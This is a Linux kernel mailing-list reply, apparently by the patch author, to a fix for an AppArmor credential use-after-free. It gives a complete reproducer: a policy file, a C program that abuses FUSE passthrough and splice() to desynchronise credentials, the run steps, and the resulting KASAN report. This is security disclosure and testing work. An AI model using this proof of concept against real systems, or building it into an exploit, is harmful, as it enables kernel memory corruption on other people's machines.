Thread (2 messages) 2 messages, 1 author, 3d ago

Re: [PATCH] apparmor: fix cred UAF caused by begin_current_label_crit_section()

From: Jann Horn <jannh@google.com>
Date: 2026-07-14 15:50:13
Also in: lkml, stable

On Tue, Jul 14, 2026 at 5:39 PM Jann Horn [off-list ref] wrote:
I have a test case where I run aa-disable on a profile while a process
using that profile is blocked on splice() from a FUSE passthrough file into
a full pipe; after the profile update, the pipe becomes empty, splice()
resumes, the credentials go out of sync, and a subsequent getuid() syscall
results in a KASAN UAF splat.
To test this, you should run a kernel with KASAN.
CONFIG_RCU_STRICT_GRACE_PERIOD=y might also be necessary to trigger a
KASAN warning.

Open two terminals A and B. In terminal A, write the following policy
into /etc/apparmor.d/credbug-test:
abi <abi/4.0>,
include <tunables/global>

profile credbug /tmp/credbug {
  /** rwm,
  mount,
  umount,
  capability sys_admin setuid,
}
and enable it:
user@vm:~$ sudo aa-enforce /tmp/credbug
Setting /tmp/credbug to enforce mode.
Warning: profile credbug represents multiple programs
user@vm:~$
In terminal B, build the reproducer and launch it with root privileges:
user@vm:~/apparmor-replace-label$ cat > credbug.c
#define _GNU_SOURCE
#include <pthread.h>
#include <assert.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/fsuid.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <linux/fuse.h>

#define SYSCHK(x) ({          \
  typeof(x) __res = (x);      \
  if (__res == (typeof(x))-1) \
    err(1, "SYSCHK(" #x ")"); \
  __res;                      \
})

static int p[2];
static int fuse_fd;
static volatile int fuse_ready = 0;
static volatile int backing_id = -1;
static int last_credref_fd = -1;
static int drop_last_credref = 0;

static void *splice_thread_fn(void *dummy) {
  int backing_fd = SYSCHK(open("/tmp/credbug", O_RDONLY));

  // unshare creds
  setfsuid(1);
  setfsuid(0);

  last_credref_fd = SYSCHK(open("/", O_PATH));

  while (!fuse_ready) /*spin*/;
  struct fuse_backing_map backing_arg = { .fd = backing_fd  };
  backing_id = SYSCHK(ioctl(fuse_fd, FUSE_DEV_IOC_BACKING_OPEN, &backing_arg));

  int passthrough_fd = SYSCHK(open("/tmp/mntfile", O_RDONLY));
  off_t off0 = 0;
  // creds are changed in the middle of this
  splice(passthrough_fd, &off0, p[1], NULL, 1, 0);
  close(passthrough_fd);

  SYSCHK(ioctl(fuse_fd, FUSE_DEV_IOC_BACKING_CLOSE, &backing_id));
  drop_last_credref = 1;
  while (drop_last_credref) /*spin*/;
  sleep(1);
  getuid();
  return NULL;
}

#define READ(_obj) if (read(fuse_fd, &(_obj), sizeof(_obj)) !=
sizeof(_obj)) err(1, "failed to read " #_obj)
#define WRITE(_obj) if (write(fuse_fd, &(_obj), (_obj).h.len) !=
(_obj).h.len) err(1, "failed to write " #_obj)
static void *fuse_thread_fn(void *dummy) {
  while (1) {
    struct {
      struct fuse_in_header inh;
      union {
        struct fuse_init_in init_in;
        struct fuse_open_in open_in;
        struct fuse_read_in read_in;
        char pad[10000];
      };
    } buf;
    ssize_t read_res = read(fuse_fd, &buf, sizeof(buf));
    if (read_res == -1) {
      if (errno == ENODEV)
        return NULL;
    }
    assert(read_res >= sizeof(buf.inh));
    if (buf.inh.opcode == FUSE_INIT) {
      printf("fuse: init\n");
      struct {
        struct fuse_out_header h;
        struct fuse_init_out b;
      } reply = {
        .h = { .len = sizeof(reply), .error = 0, .unique = buf.inh.unique },
        .b = {
          .major = buf.init_in.major, .minor = buf.init_in.minor,
          .max_stack_depth=1, .flags=FUSE_INIT_EXT, .flags2=FUSE_PASSTHROUGH>>32
        }
      };
      WRITE(reply);
      fuse_ready = 1;
    } else if (buf.inh.opcode == FUSE_GETATTR) {
      printf("fuse: getattr\n");
      struct {
        struct fuse_out_header h;
        struct fuse_attr_out b;
      } reply = {
        .h = { .len = sizeof(reply), .error = 0, .unique = buf.inh.unique },
        .b = {
          .attr_valid = FATTR_SIZE | FATTR_MODE,
          .attr = {
            .size = 0x1,
            .mode = 0100777
          }
        }
      };
      WRITE(reply);
    } else if (buf.inh.opcode == FUSE_OPEN) {
      printf("fuse: open node 0x%lu\n", (unsigned long)buf.inh.nodeid);
      while (backing_id == -1) /*spin*/;
      struct {
        struct fuse_out_header h;
        struct fuse_open_out b;
      } reply = {
        .h = { .len = sizeof(reply), .error = 0, .unique = buf.inh.unique },
        .b = { .open_flags = FOPEN_PASSTHROUGH, .backing_id = backing_id }
      };
      WRITE(reply);
    } else {
      printf("FUSE_<%d> unhandled\n", buf.inh.opcode);
      struct {
        struct fuse_out_header h;
      } reply = {
        .h = { .len = sizeof(reply), .error = -ENOSYS, .unique =
buf.inh.unique },
      };
      WRITE(reply);
    }
  }
}

int main(void) {
  // create a FUSE mount, and handle requests in a thread
  SYSCHK(close(SYSCHK(open("/tmp/mntfile", O_RDONLY|O_CREAT, 0666))));
  fuse_fd = SYSCHK(open("/dev/fuse", O_RDWR));
  char mount_data[4096];
  sprintf(mount_data, "fd=%d,rootmode=0100777,user_id=%d,group_id=%d",
fuse_fd, getuid(), getgid());
  SYSCHK(mount("blah", "/tmp/mntfile", "fuse", MS_NODEV|MS_NOSUID, mount_data));
  pthread_t fuse_thread;
  pthread_create(&fuse_thread, NULL, fuse_thread_fn, NULL);

  SYSCHK(pipe(p));
  SYSCHK(fcntl(p[1], F_SETPIPE_SZ, 0x1000));
  char buf[0x1000] = {};
  SYSCHK(write(p[1], buf, 0x1000));
  pthread_t splice_thread;
  pthread_create(&splice_thread, NULL, splice_thread_fn, NULL);
  getchar();
  read(p[0], buf, 0x1000);

  while (!drop_last_credref) /*spin*/;
  close(last_credref_fd);
  drop_last_credref = 0;

  pthread_join(splice_thread, NULL);
  SYSCHK(umount2("/tmp/mntfile", MNT_DETACH));
  pthread_join(fuse_thread, NULL);
}
user@vm:~/apparmor-replace-label$ gcc -o /tmp/credbug credbug.c
user@vm:~/apparmor-replace-label$ sudo /tmp/credbug
fuse: init
fuse: open node 0x1
While the reproducer is blocked, use terminal A to disable its profile:
user@vm:~$ sudo aa-disable /tmp/credbug
Disabling /tmp/credbug.
user@vm:~$
Then hit enter in terminal B to let the reproducer continue:
FUSE_<25> unhandled
FUSE_<18> unhandled
user@vm:~/apparmor-replace-label$
Now you should see a KASAN UAF splat in dmesg, when getuid() tries
accessing the creds:
==================================================================
BUG: KASAN: slab-use-after-free in __ia32_sys_getuid+0x3d/0x80
Read of size 8 at addr ffff8881269a8950 by task credbug/696

CPU: 2 UID: 0 PID: 696 Comm: credbug Not tainted
7.2.0-rc3-00038-g3b029c035b34 #55 PREEMPT
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
1.17.0-debian-1.17.0-1 04/01/2014
Call Trace:
 <TASK>
 __dump_stack+0x21/0x30
 dump_stack_lvl+0x76/0xa0
 print_address_description+0x7b/0x1f0
 print_report+0x5b/0x70
 kasan_report+0x16d/0x1a0
[...]
 __asan_load8+0x98/0xa0
 __ia32_sys_getuid+0x3d/0x80
 x64_sys_call+0x1cc1/0x3030
 do_syscall_64+0xd8/0x380
[...]
 entry_SYSCALL_64_after_hwframe+0x76/0x7e
[...]
 </TASK>

Allocated by task 696:
 kasan_save_track+0x3a/0x70
 kasan_save_alloc_info+0x3c/0x50
 __kasan_slab_alloc+0x4e/0x60
 kmem_cache_alloc_noprof+0x25f/0x570
 prepare_creds+0x2b/0x4d0
 __sys_setfsuid+0x8b/0x190
 __x64_sys_setfsuid+0x1e/0x30
 x64_sys_call+0x955/0x3030
 do_syscall_64+0xd8/0x380
 entry_SYSCALL_64_after_hwframe+0x76/0x7e

Freed by task 70:
 kasan_save_track+0x3a/0x70
 kasan_save_free_info+0x46/0x60
 __kasan_slab_free+0x43/0x70
 kmem_cache_free+0x182/0x500
 put_cred_rcu+0x19e/0x210
 rcu_core+0x877/0xfd0
 rcu_core_si+0x9/0x10
 handle_softirqs+0x19f/0x550
 __irq_exit_rcu+0xab/0x180
 irq_exit_rcu+0x9/0x20
 sysvec_call_function+0x73/0x80
 asm_sysvec_call_function+0x1b/0x20

Last potentially related work creation:
 kasan_save_stack+0x3a/0x60
 kasan_record_aux_stack+0x99/0xb0
 call_rcu+0x51/0x5c0
 __put_cred+0x9a/0xc0
 __fput+0x425/0x540
 fput_close_sync+0x8a/0x140
 __x64_sys_close+0x55/0xe0
 x64_sys_call+0x26ce/0x3030
 do_syscall_64+0xd8/0x380
 entry_SYSCALL_64_after_hwframe+0x76/0x7e

The buggy address belongs to the object at ffff8881269a88c0
 which belongs to the cache cred of size 184
The buggy address is located 144 bytes inside of
 freed 184-byte region [ffff8881269a88c0, ffff8881269a8978)
[...]
==================================================================
Keyboard shortcuts
hback out one level
jnext message in thread
kprevious message in thread
ldrill in
Escclose help / fold thread tree
?toggle this help